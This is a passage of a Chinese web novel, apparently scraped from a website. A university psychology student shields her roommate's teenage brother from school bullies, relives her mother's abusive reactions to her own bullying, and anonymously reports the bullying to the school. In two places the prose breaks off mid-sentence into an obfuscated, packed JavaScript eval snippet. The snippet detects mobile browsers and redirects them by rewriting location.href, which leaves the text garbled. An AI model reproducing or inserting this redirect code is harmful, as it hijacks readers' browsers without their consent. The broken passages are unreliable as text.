“好吧。” 男孩子,自尊心强,她一个外人掺和进来确实不太合适。 舒澄跟段叙加了微信,他的头像还是上个月段斐朋友圈里的那张,一直没换。 她把录音发过去,仍是不放心,语重心长道:“弟弟,校园霸凌没有小事,这次是正好我在附近,你一定要学会自己保护自己。” “也不要像刚才那样过于害怕。” “过于害怕?”段叙眉梢一动,伸手指了指自己,“说我吗?” “是啊,刚才我看你害怕的都手抖了。” 舒澄没注意身边的少年表情变得奇怪,一副想笑又不笑的样子。 段叙笑了一下,语调悠长,“行。” 二人出了巷子,舒澄看到在窗边吃蛋糕的邵遥遥,她回头对段叙说让他等自己一下。 段叙很听话的站在原地没走。 舒澄到奶茶店将邵遥遥带出来,手里拿着一杯没开封的奶茶,递给段叙,“弟弟,你喝杯奶茶压压惊吧,你是不是也要回家?” 段叙看着那杯含糖量十足的珍珠奶茶,感觉自己真被当成小孩哄了。 他接过,说了声谢谢。 “那正好,咱们三个顺路,一起回去吧。”舒澄担心那伙人今天还没放弃,也许又会躲在段叙回家的路上堵他,为了以防万一,还是带着段叙一起走吧。 路上,邵遥遥嘬着奶茶,“舒老师,这是你弟弟嘛?” 舒澄:“我室友的弟弟。” “哦。”邵遥遥牵着段叙的书包带子,“哥哥,你长得真好看。” 段叙拿着奶茶,并没喝,“嗯,我知道。” 邵遥遥才13岁,还不知道无语是什么意思。 但她已经感受到了,像是一团莫名其妙的情绪堵在嗓子眼,说不上高兴,也说不上不高兴。 她只当自己是被芋泥噎住了。 “哥哥,你是附中高中部的吗?” “嗯。” “其实我早就想说,高中部的校服好难看,不过哥哥你穿起来还是挺好看的。” 初中部的制服是红色系,到了高中部就是最普通的运动外套和运动长裤。 通体是黑灰两色,袖子和裤子两侧有一道四指宽的白色线条。 其实不算难看,只是穿起来没什么朝气,看起来带着一副老气沉沉的样子。 但段叙穿着,确实好看。 他身姿挺拔,肩宽腰细,黑色棉袄套在校服外套外面,一点不显臃肿。 裤子更是,修长笔直,到脚踝处有几分堆叠,不拘也不垮。 段叙低头看了眼还没到自己肩膀的邵遥遥,小孩的外套和裤子都被修改过尺寸。 一个注重外表的小朋友。 他喝了一口奶茶。 浓香甜腻的液体滑过他唇齿,跟印象里一样甜的腻人。 不动声色咽下。 “哥哥,你有女朋友吗?” “不早恋。” “那舒老师有男朋友吗?” “呃,还没有。” “舒老师,宜大是不是有很多长得很好看的男生啊。” 舒澄:“等你考上宜大以后自己来看看。” “那哥哥,高中部是不是有很多长得很好看的男生?像你一样就可以。” 段叙想说像我一样的可不好找,他轻弹了一下邵遥遥马尾辫上的呆毛,学着舒澄的语气,“等你考进高中部以后,自己来看看。” 邵遥遥闭上嘴安安静静吃杯子里的芋泥。 到了观潮云港门口,舒澄一颗心才算完全放下。 一路上她担心那伙人会从哪里跳出来,手一直在兜里捏着一键报警。 她还是忘不掉刚才在巷口看见段叙害怕到手指颤抖的样子,见他那样,自己那些藏在最底层的记忆,就像泥土里长出的野草,疯狂冒尖。 虽只有一面之缘,她仍忍不住叮嘱,“回家一定要告诉家长,这种事情一味隐忍是不会被解决的,家人永远是你最坚强的护盾。” 顿了顿,似乎是想给他一些信心,“告诉你一个秘密,那个带头叫曹泉的人,他胳膊上的疤痕是骨折造成的,不是什么刀疤,你不用害怕。你看一个警笛都能让他们落荒而逃,他们是不是也没那么可怕?” “好。” 段叙淡笑,“这么说,我现在没那么害怕了。” “嗯,那你快回家吧。” 舒澄往邵遥遥家走。 段叙在身后叫住她。 她回头,冬季天色黑的早。 路灯的光星星点点,将段叙脚下的那一方土地照亮。 他单肩背着包,扬唇笑,“今天多谢你了,舒澄姐。” 舒澄挥手,“快回家写作业吧。” “……” 16岁是一个分水岭。 在外人看来也许这年纪还稚气未脱,但在本人眼里,已经能够成为长大的标志了。 但偏偏今天有人将他一次又一次当成小孩。 张开手臂将自己护在身后。 还有,手里这杯奶茶。 他晃了晃,这才发现这杯甜腻的奶茶不知什么时候被他一口一口喝完了。 他将奶茶扔进垃圾桶。 舒澄看着段叙进门的背影,心里感叹。 同样都是弟弟,为什么自己的弟弟是那个样子。 晚上,舒澄观察着段斐的状态。 她洗完澡以后,敷了一个泥膜,跟叶舒华一起看综艺笑到在椅子上打滚。 陈小雨在算明日运势,她也颇有兴致地凑上前让陈小雨帮自己也算一卦。 看起来心情不错。 难道是段叙还没跟她说? 又或者,他已经跟自己家长说了,只是还没告诉段斐? 舒澄清了下嗓子,“段斐,你弟弟是不是在附中读高中?” 段斐手里还拿着陈小雨给她抽出来的卡牌,“是啊,你咋知道的?” “我家教的学生在附中初中部。”舒澄含糊道,“附中的高中部,是不是很难考?” “难考。” 舒澄难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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段斐:“哪所学校里都会有混混,宜大公众号上周不是还通报了一位被退学的学长吗。” 舒澄:“那你弟弟在学校里,会不会被欺负?”她怕意图太明显,补了句,“我们以前的学校,那些学习不好的同学会嫉妒学习好的,明里暗里会欺负人。” “啊,应该不会吧。” 段斐脸上的泥膜干裂开,扒得她脸疼。 她到卫生间一边洗一边说,“像附中这种学校,学习好的那都是省状元的有力人选,有不长眼的想搞霸凌,估计还没等靠近就被教导主任用眼刀飞死了。” “这样啊。” 那只要段叙跟学校老师说,学校方就会想办法帮他摆脱混混的纠缠了。 看着段斐的态度,十有八九是还不知道段叙今天放学发生的事情。 晚些时候,她也洗漱上床。 临睡前,她习惯性点开朋友圈,见到黄丹破天荒不是转发一些三流公众号的‘辟谣’文章,而是发了很长的一段话。 文字很长,舒澄一目十行。 大致意思是说她在接舒不凡放学时,看到同伴将他手里的烤肠扔在地上。表示现在的小孩素质怎么都这么差,一根烤肠家长没钱给买吗,要来抢同学的东西,抢着不给就扔在地上。 她说当时看到舒不凡被抢了烤肠站在那里的样子,特别可怜,心里心疼,表示如果再有下一次,那她就不是只教训这个学生就可以了,一定要找他的家长,问问他是怎么教育的孩子。 舒澄了解黄丹,她发这个朋友圈,大概率是自己微信里有那位家长的好友,故意发给他们看的。 通篇心疼二字出现了不下数十次,舒澄眼睛有些干痛,索性没再继续刷朋友圈,关掉手机闭上眼睛。 她做了一个梦。 又或许不是梦。 那野草趁着舒澄熟睡,悄悄冒出头,钻进她梦里。 梦中,她还是一个才上小学的小孩。 脑袋上扎了两个麻花辫,原本是很可爱的,但另一个辫子不知道怎么了,松散着,乱糟糟,像被麻雀啄过。 她拿着断掉的花朵头绳跟黄丹满心委屈哭诉后桌的行径,黄丹坐在客厅瞥了一眼,磕着瓜子冷冷道,“他怎么只薅你头发不薅别人的。还是你哪做得不好得罪了人家,早跟你说老老实实的你怎么就跟听不懂似的。” 画面一转,上初中的舒澄顶着一头口香糖站在黄丹面前。 同样的话,黄丹说了第二次,甚至连冰冷的表情都同上次一致。 “他们怎么只往你头发上黏口香糖不往别人身上黏?我真想问问你每天在学校都干嘛了,怎么就你一天天逼事这么多?” 十二三岁的小女生,正是臭美的年纪。 舒澄没有头花或者发卡,那头乌黑柔顺的头发是她唯一可以‘臭美’的东西。 她低声说自己没有惹她们,反而每天帮她们打水做值日。 真不知道哪里惹到她们了。 她吸着鼻涕问黄丹,妈妈有什么办法可以洗掉口香糖吗。 “哭哭哭!”黄丹拿起桌上的剪子,扯过舒澄的头发咔嚓咔嚓几下就将长长的马尾剪了个干干净净。 黑.丝如瀑,从头顶飘落。 一截天蓝色的发圈没有可以捆束的东西,掉在那堆黑色发尾上。 女孩原本一头顺亮的长发此刻在脑后参差不齐的叠着,难看犹如狗啃。 她的表情,叫人不忍去看。 “留个破长头发就哭,有什么好哭的?给你剪了消停!” 画面再次变换。 黄丹站在一个人脸模糊的小男生面前,指着他鼻子破口大骂他为什么要欺负自己的儿子。一根烤肠而已,自己买不起吗?你家长是哪位来叫过来我跟他好好聊聊! 舒不凡躲在她身后,眼泪鼻涕流了一脸。 所以啊,你看—— 家人永远是最坚强的后盾。 许是今夜风大,野草长得快了些。 不然,怎么会做这么凌乱的梦。 9. 弟弟 舒澄很久没有一身冷汗的醒过来。天蒙蒙亮,寝室内其他三人仍睡着。她盯着天花板看了好久,才从梦里那种绝望的情绪中挣脱出来。 自从高中接触心理学后,她已经很少有这种情绪。 像是一团墨黑的河,翻滚着,想要将她卷入潮流下,淹死。 还好。 还好她站了出来,不然段叙也要经历这种事情。 她想问段叙有没有跟家长说,拿起手机一看时间还不到七点,这么早发消息过去也比较打扰吧。 舒澄闭上眼睛,重新让自己入睡。 … 上午第一节课结束,舒澄向后看段斐神态依然自若。 她担心今天放学那群人还会去堵段叙,拿出手机给段叙发了一条消息。 附中高中部高一一班。 头顶秃了一大半的数学老师正站在讲台对高考经典题型大讲特讲。 数学最后一道大题最后一问,写了满满一整个黑板。 虽是上午,下面的学生们在数学老师毫无波澜起伏的声音下不少都低下了脑袋。 该死的体育老师又生病,开学以来一共两节体育课,一节自习,一节跟原本的数学课连上,来了一场八十分钟的亲密交流。 段叙拄着下巴,将黑板上的重点步骤和公式写在卷子上,然后拿出另一套试卷开始做。 同桌杜尚兰打了个哈欠,盯着教室上方的时钟倒计时,“老孙这道大题都讲了三种解法了,你猜他一会儿会不会讲着讲着解锁第四种?” “五种。” “?” “这道题,一共五种。”段叙眼睛没抬,浏览着题干,草稿纸上未画一笔,转手将选项写在括号内。 杜尚兰叹口气,“我还指望他讲完这道题能自习一会儿,老孙都说一个多小时了,我看他嘴角都起白沫子了。” 孙汝明站在讲台,就看杜尚兰贼头贼脑,一会儿到段叙身边说两句,一会盯着窗外的麻雀出神,就是不往黑板上看,“杜尚兰,我看你都会了,来你讲讲这道题还有没有第四种解法。” 杜尚兰苦着脸站起来,看着满黑板的公式,一个头两个大。 他绞尽脑汁地想,可算灵光一闪,将第四种算法的公式说出。 孙汝明对一班的学生真是又爱又恨。 一个个是真聪明,但不听话的也是真不听话。 他瞪杜尚兰一眼,让他坐下。 再拿起卷子,又觉得口干舌燥,保温杯里的茶水见底,他又看看底下面如死灰的一群学生,心想连上两节数学课也够折磨人的,算了! “课代表,给我接点水。”他坐在讲台前,“剩下两种到时印给大家,必须都给我琢磨透了。” 众人如释重负,欢呼说老孙赛高。 孙汝明心想这赛高又是什么鸟东西。 杜尚兰上前狗腿地拿起孙汝明的杯子,“老孙,喝点烫的还是温的?” 孙汝明一口气差点没上来,怎么忘了这货居然是自己的课代表。 他用卷成筒的卷子狠狠敲了一下杜尚兰的头。 空心卷子打人不痛不痒,杜尚兰嘿嘿一笑。 孙汝明:“下次再开小差你就给我站着上课。” 杜尚兰见好就收,立马拍胸脯保证,“放心吧老孙,以后段叙开小差我都不开小差。” 孙汝明白他一眼,催他去接水,“你以为段叙开的比你少?” 他都懒得骂。 此时,某位刚被老孙变相点名的段某,正写完最后一道填空题。 书桌堂里手机屏幕亮了一下,他拿出来扫了一眼,是舒澄发来的消息。 还没点进去,他心里也大概有了些猜测。 点进去后,果然。 舒澄发消息询问他有没有跟家长说。 他垂眸,手指在屏幕轻点。 Xu。。:【还没,马上要期末考试,考完试会跟他们说的。】 杜尚兰给老孙接完水回来,看段叙在桌底玩手机,他低声道:“我说你别太明目张胆啊,一会儿老孙下来给你拿走。” 说着,杜尚兰八卦地凑近,扫到屏幕上那个陌生头像,还有陌生备注,“舒澄姐?你姐改名了啊?” 段叙无语地看他,“改名也是叫段澄吧。” 下课铃响,老孙夹着卷子和保温杯离开。 教室内长出口气,有人叫着快把窗户打开,把数学这股迂腐之气给放出去。 杜尚兰将音量放为正常,“这谁啊?她刚跟你说什么事问你告没告诉家长啊?” “楚婷婷那件事。” 段叙揉了揉耳朵,继续做数学卷子。 他已经写到大题,老孙留作业有个特点,不多,一天一张。但是每道大题必须写至少三种写法,有时候算到最后像写了十几套卷子一样累脑。 他浏览题干,写了一个解字。 不出三分钟,第一道大题的三种解法已经全部写了出来,全都是简洁地写好公式和重点步骤,以及最后推导出来的答案。 三种解法全都写完后,他这才开始在几何图形上画辅助线。 杜尚兰早见识过他写大题这变态的样子,先求解后画图,解题时全凭脑中想象,这是什么变态啊,“楚婷婷?她昨天还真带着她那干哥哥去堵你了?” “嗯。” “牛逼啊。”杜尚觉得有意思,“她知不知道你……诶那这个舒澄姐是什么情况啊?老段我发现你最近多了好多我不知道的秘密,我真的伤心了,咱俩不是天下第一最最好了吗?” “……” 段叙斜他一眼,“能不能别恶心我。” “嘿嘿。”杜尚兰追问,“这个舒澄姐,啥情况?楚婷婷认了一个干哥哥,你就认了这个干姐姐?这是哪片的大姐大?” 大姐大。 脑海里那个形象跟这三个字半毛钱的关系都扯不上。 他已经写完了三道大题,抽空敷衍杜尚兰,“我姐的室友。” “哦。”段斐这个人,杜尚兰曾有耳闻,也是附中毕业的,到现在名字还挂在附中的金榜上,“看着挺关心你的。” 他毫不客气地拿走段叙桌面上的咖啡,“给我一个啊,我去冲一杯,不然感觉下节课要睡了,老孙这八十分钟彻底给我睡虫勾出来了。” 杜尚兰在身边跟个蚂蚱似的一会儿一个动作,段叙嫌烦,直接讲一整盒都推给杜尚兰,“放你那。” “得嘞。” 杜尚兰打开包装,将咖啡粉倒进杯子里,“不是说你姐死活不给你买随便的咖啡吗,咋突然松口了,还买了这么多。” “舒澄姐买的。” “靠。” “?” “姐姐多就是好。” “滚。” 屏幕一亮,舒澄发来回信。 舒澄:【那你这几天放学跟同学一起走,不要落单。】 Xu。。:【好。】 杜尚兰将舒澄的回复默默收入眼底,“这姐姐为啥这么关心你?” “不知道。”还有两分钟上课,段叙收起试卷,将语文书抽出来。 这回他还真不是敷衍杜尚兰,说实话,他也不知道。就是觉得舒澄姐对这件事好像很上心。想下来,也只有因为他是段斐弟弟这一种可能,“昨天楚婷婷那群人在后巷,被她撞见了。” “哦。”杜尚兰毫无波动,“那你有没有跟她说,你一个可以打他们十个?” … 舒澄看着段叙的回复,想想也是。 临近期末考试,不适合被这些事情扰乱心思,还是考试重要。 但那群小混混又不会管他要不要考试。 想到这,她心里一动,有了一个好方法。 第二节课是心理实践课,这个课程是宜大心理系的特色课程,经常会留有一些实践作业。 据说有一年带着学长学姐们去了宜大的精神病院,每个人都进行了为期一周的心理医生体验。 听说,造成了挺大的冲击。 直接导致一个学长当年的成绩从院尾巴冲到第一名,并且保持着这种名次直到第二年转院。那走的叫一利落。 这个课程没有期末考试,据任课老师自己说期末就是一次实践报告。 具体议题会在期末前一个月公布。 所以没什么人听,阿不是,没什么人记笔记。 但有一个例外,就是舒澄。 她奋笔疾书。 老师在台前看到舒澄埋头苦写的样子,欣慰地点了点头。 心想不愧是分数超了录取线三十多的学生,真有干劲。 她观察到,小阶梯教室里大家大多三五成群地坐着。男男女女,开学不久,一般都是四人四人以寝室为一个单位,这种情况基本上到了下学期或者大二才开始慢慢有所改变。 但这位舒澄,她一个人坐在前排,独占一行。 下课前,教授灵光一闪,想到了本节课的作业。 “今天的作业就是,跟你的室友吃一顿饭。”年长的女教授在黑板上写了一个大大的饭字。 众人不解,有人举手道:“老师,我们天天都在一起吃饭。” “嗯,我知道。”女教授含笑,“但应该也有人没跟室友一起吃过饭吧?今天试试。吃完饭以后每个人交一份报告出来,字数不限,文体不限。” “字数不限?那老师写俩字也可以吗?” “可以。” 有人窃笑,小声说那就写:‘挺好’或者‘不错’。 “能写诗吗?” “可以,上一届还有做了一首歌到课上放的,我非常欢迎各种不同表现形式的作业。” 下课铃响,舒澄最后一个字也刚好写完。她听着教授留的作业,不知为什么,总觉得是针对自己留的。 同学们三五成群离开,她一个人在位置上慢慢收拾帆布包。 正值中午,学校食堂人满为患,去早了也是跟大家挤。 实践课的作业,怎么办呢? 这时,寝室另外三人从上面踢踏着台阶走下来。 段斐:“舒澄,一会儿去食堂啊?” 舒澄一愣。 段斐:“咱们四个只能中午吃了,晚上你不是要去云港那边上家教吗,回来的时候都快闭寝了。” 舒澄在寝室关系上没报过幻想,再加上她吃相不好,所以开学以来寝室四人还没一起吃过饭。叶从容到是组织了几次,都被她拒绝了。 她没想到段斐居然会主动来找自己,下意识看了眼段斐身旁的陈小雨和叶从容,“我吃相不好。” “那咋了?”段斐不由分手拉着舒澄一起走,“你以为小雨吃相好?她上次吃麻辣烫崩了我一身油点子。叶从容早上喝奶茶还喷了我一身。” 段斐指了指前襟的痕迹,“你看,还在呢。” 陈小雨尴尬一咳,“我用牙膏给你洗洗试试。” 叶从容:“小雨,能帮我把斐姐这件外套一起洗了吗?赔我是赔不起的。” 陈小雨:“一个字。” 叶从容:“好嘞。” … 四个人去的晚,打饭高峰期早已经过了。 大家各自打了自己的午饭,用餐盘端着放在桌子上。 一路上,舒澄都没说什么话。 她不喜欢跟人一起吃饭,会让她感觉不适。 段斐、陈小雨、叶从容,人都很好。这作业不仅跟自己有关,还与她三个息息相关。就算自己可以糊弄了事,但不能影响别人。 这么想,舒澄坐下。 她打了一碗素面,一个肉夹馍。 共计花费2.5块。 三个人,叶从容坐在左边,段斐坐在她对面,陈小雨坐在段斐身边。 宜大食堂的四人桌很宽敞,四个人坐完全不会觉得拥挤。 但舒澄还是觉得好挤,周围的环境似乎缓缓向自己压缩而来,将所有人、所有背景音全都一点点吞噬成没有颜色的背景板。 她开始心慌,着急。 她知道最好要注重吃相,就这一顿,顶多十几分钟,只要在这段时间里老老实实吃完就可以。 但从左到右,从前到后,四面八方的压力向她袭来。 她拿起肉夹馍,不自觉开始狼吞虎咽。 刚咽下肉夹馍,她又开始用筷子挑起碗里的面条喂到嘴里。 停不下来,止不住。 心里有一个念头在告诉她:快点吃,赶紧吃,全都吃完就安全了。 她好像分出了两个灵魂,一个在身体里止不住吞噬食物,一个从身体里飘出来,以第三人视角看着这一幕,想要阻止却无力可施。 “我靠!”叶从容发出尖锐暴鸣,“这炸猪排也太好吃了吧,外焦里嫩,一咬还出汁!!” “吹什么牛。”段斐面无表情将叶从容盘子里的猪排夹走一条。 陈小雨也默默用叉子叉走最大的一块。 舒澄吞咽的动作停顿一瞬,继续埋头吃。 与自己无关。 突然,一块金黄色的猪排被放进安渝碗里。 叶从容赞不绝口,“简直了舒澄你尝尝,这比我在外面店里吃的都好吃,谁敢信啊这一份猪排饭才6块钱。怎么办我才大一就已经舍不得毕业了。毕业以后就吃不到这么好吃的炸猪排了。” 段斐依旧面无表情咀嚼猪排,“你昨天吃鸡排饭的时候也这么说的,我怀疑你是不是平时没怎么吃过这种东西?” “真是神了你咋知道?我妈从来都不让我吃,她要是发现我偷偷吃都能扣我嗓子眼让我吐出来。” “姐姐,吃饭呢。你想看我给你表演一个边吃边吐吗?” “两位姐姐,吃饭呢。” 段斐继续跟叶从容扯皮。 陈小雨在旁边时不时语出惊人。 那些声音舒澄都听不见了,她眼里只剩下这块炸猪排。 当她后知后觉反应过来这块猪排来自哪里的时候,那些向她逼近的黑白背景板一瞬间消退。食堂的景象重新鲜活起来。 心底的声音渐渐被耳边段斐三人玩笑的声音盖过。 第一次,这是第一次。 她的碗里,第一次有人给夹了饭菜。 没有人催她赶紧塞饭,没有人因为她吃饭慢而掀了她的饭碗。 而是给她夹了一块炸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143852|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 猪排。 她缓缓抬头,发现三人没有一个在乎她吃饭的丑态,没有人露出她在食堂经常遇见的那种震惊又嫌弃的表情。 她没有想到,这块炸猪排,也有自己的份。 她缓缓夹起炸猪排,咬了一口。 面包糠的香气弥漫唇齿,她仔细咀嚼,慢慢咽下。 “怎么样?好不好吃?”叶从容眼睛亮亮。 舒澄点点头,“好吃。” “哎呀我就说嘛,明天我还要点这个吃。” 段斐:“你昨天吃鸡排饭的时候也这么说的。” “别逼我跪下来求你,别拆台了姐。” 一月前。 军训场上阳光如火,炙烤着在操场上军训的新生们。 教官大发善心,让众人坐在原地休息。 天南海北没见过的同学们,此刻找到机会开始互相熟悉。女生们凑在一起,酷爱八卦。叶从容如鱼得水,给大家安利自己的本命哥哥,她语言幽默肢体动作生动有趣,让周围一圈人时不时被逗笑。 “诶,不过咱们院好像有一位怪人。” 说话的是孔苓苓,她仰起头瞟了眼在方队斜角边边一个人坐着的舒澄,“你们寝室那个人叫舒澄还是舒洁?我那天在食堂看见她吃饭真的是差点被吓死。” 叶从容笑容淡下去,“怎么了?” “她一个人点了三人份,那么大的包子两口就吃完了,嘴里还没咽下去就立马开始嗦面条,喝小米粥,天呐简直是饿死鬼投胎,她家是不是很穷啊?第一次见到有人这么吃饭,真吓死我了。”孔苓苓动作夸张的抚摸胸口,一幅吓得不轻的样子。 “啊!” 陈小雨突然在孔苓苓耳边大叫一声,后者这次真是被吓到了,白着一张脸语气不悦,“你干嘛?吓了我一跳。” “你怎么总被吓到,胆子这么小。” 孔苓苓脸色不好,“你什么意思?” “意思就是。”段斐拉了拉陈小雨,让她坐到自己身后,“嘴长在人家身上,又没吃你家东西,你在这讲什么?” … 晚上家教课,舒澄在公交车站下车后,向附中教学楼折了一趟。 她将一封叠得整齐的举报信投入了校外主街印着附中声音的邮箱里。 她提前去论坛查过,附中这个声音邮箱,不是摆设。 学校每晚都会打开,然后针对上面的匿名举报进行整改。 帖子里说,之前有一次附中周边的居民楼曾经投过信箱,说下班回来正好赶上放学,周围的餐馆是一家也挤不进去,本来上班就烦吃不上饭更烦。质问学校学生是时代的花朵,那他一个才毕业不到一年的打工人能不能算祖国的树苗。 第二个星期,附中就开设了晚间食堂。 将举报信投好后,舒澄转头去了邵遥遥家。 第二天,附中破天荒在不是周一的早晨开了全校师生大会。 初中部高中部站满了整片校园,特壮观。 校长站在麦克风前,神色严肃,“我希望大家知道,附中永远是各位除了父母之外最坚强的后盾,各位同学们无论是学习上还是生活上遇到任何问题都可以找班主任沟通,你要是觉得班主任帮不到你,我完全欢迎大家来我办公室找我。” “咱们学校一直致力于为各位提供一个良好的学习环境,我希望这种良好不光是环境上的,还有心理上的。” 校长讲了一大通话。 杜尚兰冻得脚底打颤,“啥情况啊?怎么突然开师生大会,还初中部高中部一起,我他妈语文作业还没写,就等着早自习补呢。” 段叙耳朵里塞着耳机,校长的话大半都没听见,“不清楚。” 班主任走到杜尚兰身边,双手毫无征兆伸进他脖子里。 杜尚兰嗷一声捂着脖子,像只虾米一样弯了腰,“老师,你这是要害死我啊。” “大冬天得瑟什么,不穿外套出来。”班主任把臂弯处的外套扔给杜尚兰,“你位置上拿的,应该是你的吧?我看上面有大鼻涕印,十有八九是你的。” “……” 周围女生低笑,连段叙也勾起嘴角。 “老师,那是咖啡滴上去的,咱能不坏我名声吗。”杜尚兰耍嘴皮子归耍,手上没停,赶忙将救命的棉袄穿在身上,拉锁一拽,幸福了大半。 “得了。”班主任不跟他贫,“刚才我可听见了,语文作业没写是吧?我估计这讲话七点五十能结束,第一节课就语文课吧,十分钟,你给语文老师一个奇迹。” 杜尚兰差点跪下,“老师我能不能现在进去写?” “昨天晚上干嘛去了?” “我昨天做物理题来着,做了十几页呢,做完以后实在累的不行就睡了,谁能想到今天早自习改成师生大会了。” 班主任教的是一班物理,她表情舒展,对于杜尚兰这个明显的马屁很受用。 “受着吧,你回不去。”受用归受用,她抬头看了眼还在讲话的校长,“昨晚有人在信箱里匿名举报咱们学校的学生被一中的混混威胁了,校长很重视这事,你现在回去被教导主任巡逻发现,挨骂的是我。” 段叙闻言抬头,眉梢微动,“老师,有说威胁的是谁吗?” “那没写,信里说他害怕被报复不敢写。”班主任眉头一皱,几步绕到段叙身边,把他耳机摘下来一只,“你戴个黑色的也行,戴白色的不是等着我摘吗。” “我今天就假装不知道你兜里揣着手机,我当它是个MP3。” 段叙神态自若,“抱歉,黑色的落家了。”语气倒是没一点歉意。 班主任也不跟他计较,对着一班大欠登问,“咱们班没有这种情况吧?” 杜尚兰闭着眼睛,“没有。” “你怎么一脸心虚?” “老师我惦记我的语文作业啊,能不心虚?” 班主任狐疑地看了杜尚兰一眼,觉得这小子嘴没个谱,也不知能不能信,“那语文作业除了阅读就是作文,你怎么每次做作业都像是被狗咬一样龇牙咧嘴的。” “老师好比喻。”杜尚兰竖起拇指,“阅读不难,主要那作文真写不出来,我都背了十几篇范文,语文老师说我背之前写的是一坨屎,背完之后就是……是啥来着?” 段叙:“屎上雕花。” 杜尚兰:“……倒也不用记这么清楚。” “真应该把那封举报信那给你们看看,人家那遣词用句,文科状元级别的。” “……” 拿举报信给他们当范文,这事也就他们班主任能干得出来。 后面传来窃窃私语,班主任搓着冰凉的手就过去了。 班主任走后,杜尚兰小声问,“那封信里说的人不会是你吧?” 段叙将耳机线慢悠悠缠了,揣进兜里,“不知道。” 如果说不是他,那也太巧了。白天他刚跟舒澄姐说完期中以后再找家长,那封信晚上就出现在了学校信箱里。 不管是不是,听校长在台上的意思,会在学校周围加强安保管理,并且会跟警察局沟通定时巡逻,这也是好事。 段叙垂眸。 所以,会是她吗? 10. 弟弟 过了一个周末,段斐拖着大行李箱从家里返校。 一到寝室她就打开箱子将一叠厚厚的本子放在舒澄桌上,“跟我弟要的,他当时考本校刷的试题。” 足有五厘米厚。 叶从容瞠目结舌,扯掉耳机拖鞋都没穿上就过来,“你说这些是你弟弟半个月刷的那些卷子?” 她原本伸了一只手去拿,结果没拿起,又用两只手去拎,可算将这个板砖一样的本子捧在手里,“这是个砖头吧!我能打开看看吗?” 段斐耸肩,“想看就看。” 叶从容带着虔诚的表情打开,翻开第一页就表情一僵,“这,做哪了?” 段斐指了指题干下面两行飘逸的字,“诺。” “诺?哪诺?哪呢?!”叶从容瞪大了眼,捧到舒澄面前,“别跟我说这一行公式就是啊?” 舒澄看过去,那是一道几何大题。 辅助线解题步骤啥啥没有,就一行干净的公式,下面接了个结论。 叶从容大喊变态,“我算是知道弟弟这砖头是怎么在半个月刷完的了,真乃学霸中的学霸。”她一副被打击到的样子,摸着心口说自己能考上宜大真是祖坟冒了青烟,要是晚生几年那都是跟哪些神仙在打架。 这卷子做的太打击普通人的信心了。 舒澄看着,却是另一个想法。 这本试题写得如此干净,省了她很多工作量。只要用涂改带将答案涂掉给邵遥遥就可以了。 她将试题本收好,对段斐浅笑,“谢谢了。” “小事啊,反正他也用不到了,除非被附中开除回炉重造。”段斐摆手,开始整理行李箱里面带回来的行李。 里面赫然放着两台违章电器。 陈小雨每晚都会录占卜视频,她录视频的时候最安静,听到段斐那句话,忍不住点了暂停键回头加入群聊,“真是你亲弟弟吗?” “亲姐才说得出来。”段斐将违章电器摆在中间的长桌上,“从容,你那个变压插排不够插了啊,要不要再买一个。” 叶从容回头一看,差点以为自己进了什么家电市场,“姐姐,这是面包机?另一台是啥?” 段斐:“榨汁机。” “你是真不怕被宿管抓啊。” “没事,小雨不是生活部的吗,要查寝提前告诉一声啊。” 陈小雨:“我时常为加入生活部而感到后悔。” 叶从容看了看正在埋头看书的舒澄,“咱寝室可有一位要冲国奖的学霸,你别连累人家。” 段斐走到舒澄身边,搭住她的肩膀,“澄子,你别怕,我特地问过,查出来的话说都是我一个人的,怪不到你们头上,不影响评奖。” 舒澄一笑,“那我喝橙汁。” “啧啧。”叶从容对这个寝室内唯一一个正经人也被段斐带歪而感到痛心疾首,从柜子里翻出两个拳头大的橙子,“先拿这两个开刀。” 段斐带来的榨汁机特别好用,声音小,榨得快。 四个人每人都被分到了小半杯。 舒澄喝了一口,特酸。 算得她忍不住咧嘴。 回头一看其他三人也都是表情各异,龇牙咧嘴。 她蓦地笑了一下。 玻璃杯里的橙汁是橙黄色的,让她想起那天中午的炸猪排。 那是她人生中第一次被人夹菜,那是她第一次发现原来跟别人一起吃饭的感觉好像还不错。她也是第一次理解为什么中国人喜欢坐在一起吃饭。原来饭桌上不是只会存在催促、谩骂和动作暴力。 段斐骂了一句叶从容的橙子,陈小雨哈哈大笑。 寝室外景色萧条,似乎飘起了小雪。 宜宁的冬永远是这个温度,也永远是满目萧索的颜色。 但今年的冬天,有一处不同。 就是1221女寝的窗外映衬着灯光的暖黄,人影绰绰。 是什么样的暖黄呢? 像是炸猪排刚刚出锅的颜色。 舒澄灵思泉涌,她合上书,拿出报告纸,低头开始写。 … 次日一早,附中的操场覆盖上了一层薄薄的雪。 学生们在雪地上踩出两排整齐的脚印。 一条通往初中部教学楼。 一台通往高中部。 段叙抵达教室后,一群人正围着教室后面的宣传板讨论不停。 杜尚兰站在人中央,扭头看见段叙,冲他招手,“老段我跟你说,咱们班主任真是牛逼大发了。” 段叙瞥他一眼,并不感兴趣。 径自走到位置将书包放下,“语文作业写完了?” “800字的作文,小菜一碟。”杜尚兰抬头看了眼钟表,“还有四十分钟呢,我一会儿现编完全来得及,你先过来看看。” “不感兴趣。” “你绝对感兴趣。”杜尚兰从人里挤出来,“班主任去校长那把举报信要过来了,贴在后面让咱们好好学学,我还以为她上周就那么一说呢,没想到真给整过来了。” 听到是举报信,段叙动作停顿。 “我知道你想看,我都看出来你心动了。” “你话真的很多。”段叙起身。 杜尚兰笑嘻嘻跟在他身后,两个人仗着身高优势站在人外。 宣传板上整齐地贴着三页草纸,侧边还有参差不齐的撕痕,像是从笔记本上随手撕下来的。 写信的人字体工整,很漂亮,每一个字都本本分分呆在线条内,极少出框。是班主任最喜欢的那种电脑阅卷得分字。 